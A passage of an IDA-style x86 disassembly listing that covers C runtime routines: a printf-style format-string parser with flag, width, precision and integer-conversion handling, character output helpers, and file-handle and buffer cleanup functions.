loc_417E16:				; CODE XREF: sub_417D4C+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------

loc_417E1F:				; CODE XREF: sub_417D4C+96j
		or	[ebp+var_4], 2
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------

loc_417E28:				; CODE XREF: sub_417D4C+6Ej
					; DATA XREF: .nsp0:off_41846Do
		cmp	bl, 2Ah		; jumptable 00417DBA case 3
		jnz	short loc_417E50
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41852B
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_418454	; default
		or	[ebp+var_4], 4
		neg	eax

loc_417E48:				; CODE XREF: sub_417D4C+111j
		mov	[ebp+var_20], eax
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------

loc_417E50:				; CODE XREF: sub_417D4C+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_417E48
; ---------------------------------------------------------------------------

loc_417E5F:				; CODE XREF: sub_417D4C+6Ej
					; DATA XREF: .nsp0:off_41846Do
		mov	[ebp+var_10], edx ; jumptable 00417DBA case 4
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------

loc_417E67:				; CODE XREF: sub_417D4C+6Ej
					; DATA XREF: .nsp0:off_41846Do
		cmp	bl, 2Ah		; jumptable 00417DBA case 5
		jnz	short loc_417E8A
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41852B
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_418454	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------

loc_417E8A:				; CODE XREF: sub_417D4C+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------

loc_417E9C:				; CODE XREF: sub_417D4C+6Ej
					; DATA XREF: .nsp0:off_41846Do
		cmp	bl, 49h		; jumptable 00417DBA case 6
		jz	short loc_417ECF
		cmp	bl, 68h
		jz	short loc_417EC6
		cmp	bl, 6Ch
		jz	short loc_417EBD
		cmp	bl, 77h
		jnz	loc_418454	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------

loc_417EBD:				; CODE XREF: sub_417D4C+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------

loc_417EC6:				; CODE XREF: sub_417D4C+158j
		or	[ebp+var_4], 20h
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------

loc_417ECF:				; CODE XREF: sub_417D4C+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_417EE8
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_417EE8
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------

loc_417EE8:				; CODE XREF: sub_417D4C+186j
					; sub_417D4C+18Cj
		mov	[ebp+var_30], edx

loc_417EEB:				; CODE XREF: sub_417D4C+6Ej
					; DATA XREF: .nsp0:off_41846Do
		mov	ecx, off_437D90	; jumptable 00417DBA case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_417F17
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41848D
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi

loc_417F17:				; CODE XREF: sub_417D4C+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41848D
		add	esp, 0Ch
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------

loc_417F2F:				; CODE XREF: sub_417D4C+6Ej
					; DATA XREF: .nsp0:off_41846Do
		movsx	eax, bl		; jumptable 00417DBA case 7
		cmp	eax, 67h
		jg	loc_418157
		cmp	eax, 65h
		jge	loc_417FDA
		cmp	eax, 58h
		jg	loc_418038
		jz	loc_4181CB
		sub	eax, 43h
		jz	loc_417FFB
		dec	eax
		dec	eax
		jz	short loc_417FD0
		dec	eax
		dec	eax
		jz	short loc_417FD0
		sub	eax, 0Ch
		jnz	loc_418356
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_417F79
		or	byte ptr [ebp+var_4+1],	8

loc_417F79:				; CODE XREF: sub_417D4C+227j
					; sub_417D4C+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_417F86
		mov	esi, 7FFFFFFFh

loc_417F86:				; CODE XREF: sub_417D4C+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41852B
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_41819F
		test	ecx, ecx
		jnz	short loc_417FAE
		mov	ecx, off_437D8C
		mov	[ebp+var_8], ecx

loc_417FAE:				; CODE XREF: sub_417D4C+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx

loc_417FB7:				; CODE XREF: sub_417D4C+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_418196
		cmp	word ptr [eax],	0
		jz	loc_418196
		inc	eax
		inc	eax
		jmp	short loc_417FB7
; ---------------------------------------------------------------------------

loc_417FD0:				; CODE XREF: sub_417D4C+212j
					; sub_417D4C+216j
		mov	[ebp+var_34], 1
		add	bl, 20h

loc_417FDA:				; CODE XREF: sub_417D4C+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_4180BE
		mov	[ebp+var_10], 6
		jmp	loc_4180CC
; ---------------------------------------------------------------------------

loc_417FFB:				; CODE XREF: sub_417D4C+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_418007
		or	byte ptr [ebp+var_4+1],	8

loc_418007:				; CODE XREF: sub_417D4C+2B5j
					; sub_417D4C+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41804E
		call	sub_418548
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41D18F
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_418061
		mov	[ebp+var_28], 1
		jmp	short loc_418061
; ---------------------------------------------------------------------------

loc_418038:				; CODE XREF: sub_417D4C+1FBj
		sub	eax, 5Ah
		jz	short loc_41806F
		sub	eax, 9
		jz	short loc_418007
		dec	eax
		jz	loc_418231
		jmp	loc_418356
; ---------------------------------------------------------------------------

loc_41804E:				; CODE XREF: sub_417D4C+2C5j
		call	sub_41852B
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1

loc_418061:				; CODE XREF: sub_417D4C+2E1j
					; sub_417D4C+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_418356
; ---------------------------------------------------------------------------

loc_41806F:				; CODE XREF: sub_417D4C+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41852B
		test	eax, eax
		pop	ecx
		jz	short loc_4180B0
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_4180B0
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_4180A1
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_418356
; ---------------------------------------------------------------------------

loc_4180A1:				; CODE XREF: sub_417D4C+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_418353
; ---------------------------------------------------------------------------

loc_4180B0:				; CODE XREF: sub_417D4C+32Fj
					; sub_417D4C+336j
		mov	eax, off_437D88
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_41814C
; ---------------------------------------------------------------------------

loc_4180BE:				; CODE XREF: sub_417D4C+29Dj
		jnz	short loc_4180CC
		cmp	bl, 67h
		jnz	short loc_4180CC
		mov	[ebp+var_10], 1

loc_4180CC:				; CODE XREF: sub_417D4C+2AAj
					; sub_417D4C:loc_4180BEj ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_4380C8
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_41811E
		cmp	[ebp+var_10], 0
		jnz	short loc_41811E
		lea	eax, [ebp+var_248]
		push	eax
		call	off_4380D4
		pop	ecx

loc_41811E:				; CODE XREF: sub_417D4C+3BCj
					; sub_417D4C+3C2j
		cmp	bl, 67h
		jnz	short loc_418135
		test	esi, esi
		jnz	short loc_418135
		lea	eax, [ebp+var_248]
		push	eax
		call	off_4380CC
		pop	ecx

loc_418135:				; CODE XREF: sub_417D4C+3D5j
					; sub_417D4C+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_41814B
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi

loc_41814B:				; CODE XREF: sub_417D4C+3F0j
		push	edi

loc_41814C:				; CODE XREF: sub_417D4C+36Dj
		call	sub_415CF0
		pop	ecx
		jmp	loc_418353
; ---------------------------------------------------------------------------

loc_418157:				; CODE XREF: sub_417D4C+1E9j
		sub	eax, 69h
		jz	loc_418231
		sub	eax, 5
		jz	loc_418207
		dec	eax
		jz	loc_4181F4
		dec	eax
		jz	short loc_4181C4
		sub	eax, 3
		jz	loc_417F79
		dec	eax
		dec	eax
		jz	loc_418235
		sub	eax, 3
		jnz	loc_418356
		mov	[ebp+var_2C], 27h
		jmp	short loc_4181D2
; ---------------------------------------------------------------------------

loc_418196:				; CODE XREF: sub_417D4C+270j
					; sub_417D4C+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_418353
; ---------------------------------------------------------------------------

loc_41819F:				; CODE XREF: sub_417D4C+24Fj
		test	ecx, ecx
		jnz	short loc_4181AC
		mov	ecx, off_437D88
		mov	[ebp+var_8], ecx

loc_4181AC:				; CODE XREF: sub_417D4C+455j
		mov	eax, ecx

loc_4181AE:				; CODE XREF: sub_417D4C+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_4181BD
		cmp	byte ptr [eax],	0
		jz	short loc_4181BD
		inc	eax
		jmp	short loc_4181AE
; ---------------------------------------------------------------------------

loc_4181BD:				; CODE XREF: sub_417D4C+467j
					; sub_417D4C+46Cj
		sub	eax, ecx
		jmp	loc_418353
; ---------------------------------------------------------------------------

loc_4181C4:				; CODE XREF: sub_417D4C+425j
		mov	[ebp+var_10], 8

loc_4181CB:				; CODE XREF: sub_417D4C+201j
		mov	[ebp+var_2C], 7

loc_4181D2:				; CODE XREF: sub_417D4C+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_41823C
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_41823C
; ---------------------------------------------------------------------------

loc_4181F4:				; CODE XREF: sub_417D4C+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_41823C
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_41823C
; ---------------------------------------------------------------------------

loc_418207:				; CODE XREF: sub_417D4C+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41852B
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_418220
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_418225
; ---------------------------------------------------------------------------

loc_418220:				; CODE XREF: sub_417D4C+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx

loc_418225:				; CODE XREF: sub_417D4C+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------

loc_418231:				; CODE XREF: sub_417D4C+2F7j
					; sub_417D4C+40Ej
		or	[ebp+var_4], 40h

loc_418235:				; CODE XREF: sub_417D4C+432j
		mov	[ebp+var_C], 0Ah

loc_41823C:				; CODE XREF: sub_417D4C+491j
					; sub_417D4C+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41824E
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_418538
		pop	ecx
		jmp	short loc_41828F
; ---------------------------------------------------------------------------

loc_41824E:				; CODE XREF: sub_417D4C+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_418275
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41826A
		call	sub_41852B
		pop	ecx
		movsx	eax, ax

loc_418267:				; CODE XREF: sub_417D4C+527j
					; sub_417D4C+539j
		cdq
		jmp	short loc_41828F
; ---------------------------------------------------------------------------

loc_41826A:				; CODE XREF: sub_417D4C+510j
		call	sub_41852B
		pop	ecx
		movzx	eax, ax
		jmp	short loc_418267
; ---------------------------------------------------------------------------

loc_418275:				; CODE XREF: sub_417D4C+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_418287
		call	sub_41852B
		pop	ecx
		jmp	short loc_418267
; ---------------------------------------------------------------------------

loc_418287:				; CODE XREF: sub_417D4C+531j
		call	sub_41852B
		pop	ecx
		xor	edx, edx

loc_41828F:				; CODE XREF: sub_417D4C+500j
					; sub_417D4C+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_4182B0
		test	edx, edx
		jg	short loc_4182B0
		jl	short loc_41829F
		test	eax, eax
		jnb	short loc_4182B0

loc_41829F:				; CODE XREF: sub_417D4C+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_4182B4
; ---------------------------------------------------------------------------

loc_4182B0:				; CODE XREF: sub_417D4C+547j
					; sub_417D4C+54Bj ...
		mov	esi, eax
		mov	edi, edx

loc_4182B4:				; CODE XREF: sub_417D4C+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_4182BD
		and	edi, 0

loc_4182BD:				; CODE XREF: sub_417D4C+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_4182CC
		mov	[ebp+var_10], 1
		jmp	short loc_4182D0
; ---------------------------------------------------------------------------

loc_4182CC:				; CODE XREF: sub_417D4C+575j
		and	[ebp+var_4], 0FFFFFFF7h

loc_4182D0:				; CODE XREF: sub_417D4C+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_4182DA
		and	[ebp+var_1C], 0

loc_4182DA:				; CODE XREF: sub_417D4C+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax

loc_4182E0:				; CODE XREF: sub_417D4C+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_4182F0
		mov	eax, esi
		or	eax, edi
		jz	short loc_41832B

loc_4182F0:				; CODE XREF: sub_417D4C+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_417260
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_4172E0
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_418321
		add	ebx, [ebp+var_2C]

loc_418321:				; CODE XREF: sub_417D4C+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_4182E0
; ---------------------------------------------------------------------------

loc_41832B:				; CODE XREF: sub_417D4C+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_418356
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_418349
		test	eax, eax
		jnz	short loc_418356

loc_418349:				; CODE XREF: sub_417D4C+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h

loc_418353:				; CODE XREF: sub_417D4C+35Fj
					; sub_417D4C+406j ...
		mov	[ebp+var_C], eax

loc_418356:				; CODE XREF: sub_417D4C+21Bj
					; sub_417D4C+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_418454	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_41838E
		test	bh, 1
		jz	short loc_418373
		mov	[ebp+var_16], 2Dh
		jmp	short loc_418387
; ---------------------------------------------------------------------------

loc_418373:				; CODE XREF: sub_417D4C+61Fj
		test	bl, 1
		jz	short loc_41837E
		mov	[ebp+var_16], 2Bh
		jmp	short loc_418387
; ---------------------------------------------------------------------------

loc_41837E:				; CODE XREF: sub_417D4C+62Aj
		test	bl, 2
		jz	short loc_41838E
		mov	[ebp+var_16], 20h

loc_418387:				; CODE XREF: sub_417D4C+625j
					; sub_417D4C+630j
		mov	[ebp+var_1C], 1

loc_41838E:				; CODE XREF: sub_417D4C+61Aj
					; sub_417D4C+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_4183AE
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_4184C2
		add	esp, 10h

loc_4183AE:				; CODE XREF: sub_417D4C+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_4184F3
		add	esp, 10h
		test	bl, 8
		jz	short loc_4183E0
		test	bl, 4
		jnz	short loc_4183E0
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_4184C2
		add	esp, 10h

loc_4183E0:				; CODE XREF: sub_417D4C+67Bj
					; sub_417D4C+680j
		cmp	[ebp+var_24], 0
		jz	short loc_418427
		cmp	[ebp+var_C], 0
		jle	short loc_418427
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]

loc_4183F5:				; CODE XREF: sub_417D4C+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_41D18F
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41843C
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_4184F3
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_4183F5
		jmp	short loc_41843C
; ---------------------------------------------------------------------------

loc_418427:				; CODE XREF: sub_417D4C+698j
					; sub_417D4C+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_4184F3
		add	esp, 10h

loc_41843C:				; CODE XREF: sub_417D4C+6BCj
					; sub_417D4C+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_418454 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_4184C2
		add	esp, 10h

loc_418454:				; CODE XREF: sub_417D4C+68j
					; sub_417D4C+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_417D78

loc_418465:				; CODE XREF: sub_417D4C+1Fj
					; sub_417D4C+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417D4C	endp

; ---------------------------------------------------------------------------
off_41846D	dd offset loc_417EEB	; DATA XREF: sub_417D4C+6Er
		dd offset loc_417DC1	; jump table for switch	statement
		dd offset loc_417DDC
		dd offset loc_417E28
		dd offset loc_417E5F
		dd offset loc_417E67
		dd offset loc_417E9C
		dd offset loc_417F2F

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41848D	proc near		; CODE XREF: sub_417D4C+1BDp
					; sub_417D4C+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_4184A6
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_4184B1
; ---------------------------------------------------------------------------

loc_4184A6:				; CODE XREF: sub_41848D+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_417C37
		pop	ecx
		pop	ecx

loc_4184B1:				; CODE XREF: sub_41848D+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_4184BE
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_4184BE:				; CODE XREF: sub_41848D+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41848D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4184C2	proc near		; CODE XREF: sub_417D4C+65Ap
					; sub_417D4C+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_4184F0
		mov	esi, [esp+8+arg_C]

loc_4184D3:				; CODE XREF: sub_4184C2+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_41848D
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_4184F0
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_4184D3

loc_4184F0:				; CODE XREF: sub_4184C2+Bj
					; sub_4184C2+25j
		pop	edi
		pop	esi
		retn
sub_4184C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4184F3	proc near		; CODE XREF: sub_417D4C+670p
					; sub_417D4C+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_418527
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]

loc_418509:				; CODE XREF: sub_4184F3+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_41848D
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_418527
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_418509

loc_418527:				; CODE XREF: sub_4184F3+Cj
					; sub_4184F3+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4184F3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41852B	proc near		; CODE XREF: sub_417D4C+E5p
					; sub_417D4C+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_41852B	endp


; =============== S U B	R O U T	I N E =======================================



sub_418538	proc near		; CODE XREF: sub_417D4C+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_418538	endp


; =============== S U B	R O U T	I N E =======================================



sub_418548	proc near		; CODE XREF: sub_417D4C+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_418548	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418556	proc near		; CODE XREF: sub_4159D4+17p
					; sub_4159D4+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_418574
		mov	ecx, off_437D90
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_4185C6
; ---------------------------------------------------------------------------

loc_418574:				; CODE XREF: sub_418556+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_437D90
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_418599
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_4185A2
; ---------------------------------------------------------------------------

loc_418599:				; CODE XREF: sub_418556+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1

loc_4185A2:				; CODE XREF: sub_418556+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_41D1F7
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_4185C2
		leave
		retn
; ---------------------------------------------------------------------------

loc_4185C2:				; CODE XREF: sub_418556+68j
		movzx	eax, word ptr [ebp+arg_0+2]

loc_4185C6:				; CODE XREF: sub_418556+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_418556	endp


; =============== S U B	R O U T	I N E =======================================



sub_4185CB	proc near		; CODE XREF: sub_415B40+2Ap
					; sub_41D55A+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_46A8E0
		jnb	loc_418665
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:46A7E0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_418665
		push	edi
		call	sub_41D4C6
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_418644
		cmp	edi, 1
		jz	short loc_418612
		cmp	edi, 2
		jnz	short loc_418628

loc_418612:				; CODE XREF: sub_4185CB+40j
		push	2
		call	sub_41D4C6
		push	1
		mov	ebp, eax
		call	sub_41D4C6
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_418644

loc_418628:				; CODE XREF: sub_4185CB+45j
		push	edi
		call	sub_41D4C6
		pop	ecx
		push	eax
		call	dword_42106C
		test	eax, eax
		jnz	short loc_418644
		call	dword_421088
		mov	ebp, eax
		jmp	short loc_418646
; ---------------------------------------------------------------------------

loc_418644:				; CODE XREF: sub_4185CB+3Bj
					; sub_4185CB+5Bj ...
		xor	ebp, ebp

loc_418646:				; CODE XREF: sub_4185CB+77j
		push	edi
		call	sub_41D44C
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_418661
		push	ebp
		call	sub_41C5D7
		pop	ecx
		jmp	short loc_418676
; ---------------------------------------------------------------------------

loc_418661:				; CODE XREF: sub_4185CB+8Bj
		xor	eax, eax
		jmp	short loc_418679
; ---------------------------------------------------------------------------

loc_418665:				; CODE XREF: sub_4185CB+Ej
					; sub_4185CB+2Fj
		and	dword_4694B8, 0
		mov	dword_4694B4, 9

loc_418676:				; CODE XREF: sub_4185CB+94j
		or	eax, 0FFFFFFFFh

loc_418679:				; CODE XREF: sub_4185CB+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4185CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41867E	proc near		; CODE XREF: sub_415B40+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_4186A7
		test	al, 8
		jz	short loc_4186A7
		push	dword ptr [esi+8]
		call	sub_415E3D
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax

loc_4186A7:				; CODE XREF: sub_41867E+Aj
					; sub_41867E+Ej
		pop	esi
		retn
sub_41867E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186A9	proc near		; CODE XREF: sub_418749+2Dp
					; sub_418749+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_4186BB
		push	esi
		call	sub_418749
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4186BB:				; CODE XREF: sub_4186A9+7j
		push	esi
		call	sub_4186E4
		test	eax, eax
		pop	ecx
		jz	short loc_4186CB
		or	eax, 0FFFFFFFFh
